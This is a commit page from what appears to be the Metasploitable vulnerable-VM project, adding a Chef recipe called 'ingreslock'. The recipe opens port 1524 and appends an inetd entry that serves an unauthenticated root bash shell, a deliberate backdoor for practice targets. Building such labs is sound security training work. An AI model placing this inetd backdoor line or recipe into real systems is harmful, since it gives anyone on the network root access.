Skip to content

Commit c687e6c

Browse files
committed
add ingreslock vuln
classic backdoor shell on 1524
1 parent 408d368 commit c687e6c

File tree

4 files changed

+30
-0
lines changed

4 files changed

+30
-0
lines changed
Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
#
2+
# Cookbook:: metasploitable
3+
# Recipe:: ingreslock
4+
#
5+
# Copyright:: 2020, Rapid7, All Rights Reserved.
6+
7+
include_recipe 'iptables::default'
8+
9+
iptables_rule '01_ingreslock' do
10+
lines "-A INPUT -p tcp --dport 1524 -j ACCEPT"
11+
end
12+
13+
package 'inetutils-inetd' do
14+
action :install
15+
end
16+
17+
# needs to happen before starting the service --
18+
# otherwise, if no services listed in inetd.conf,
19+
# inetd will refuse to start.
20+
execute 'add ingreslock to /etc/inetd.conf' do
21+
command "echo 'ingreslock stream tcp nowait root /bin/bash bash -i' >> /etc/inetd.conf"
22+
not_if "grep -q 'ingreslock stream tcp nowait root /bin/bash bash -i' /etc/inetd.conf"
23+
end
24+
25+
service 'inetutils-inetd' do
26+
action [:enable, :start]
27+
end

chef/dev/ub1404/Vagrantfile

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -41,6 +41,7 @@ Vagrant.configure("2") do |config|
4141
chef.add_recipe "metasploitable::cups"
4242
chef.add_recipe "metasploitable::drupal"
4343
chef.add_recipe "metasploitable::knockd"
44+
chef.add_recipe "metasploitable::ingreslock"
4445
chef.add_recipe "metasploitable::iptables"
4546
chef.add_recipe "metasploitable::flags"
4647
chef.add_recipe "metasploitable::clear_cache"

packer/templates/ubuntu_1404.json

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -175,6 +175,7 @@
175175
"metasploitable::cups",
176176
"metasploitable::drupal",
177177
"metasploitable::knockd",
178+
"metasploitable::ingreslock",
178179
"metasploitable::iptables",
179180
"metasploitable::flags",
180181
"metasploitable::ifnames"

versions/pro/Vagrantfile

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -69,6 +69,7 @@ Vagrant.configure("2") do |config|
6969
chef.add_recipe "metasploitable::cups"
7070
chef.add_recipe "metasploitable::drupal"
7171
chef.add_recipe "metasploitable::knockd"
72+
chef.add_recipe "metasploitable::ingreslock"
7273
chef.add_recipe "metasploitable::iptables"
7374
chef.add_recipe "metasploitable::flags"
7475
chef.add_recipe "metasploitable::clear_cache"

0 commit comments

Comments
 (0)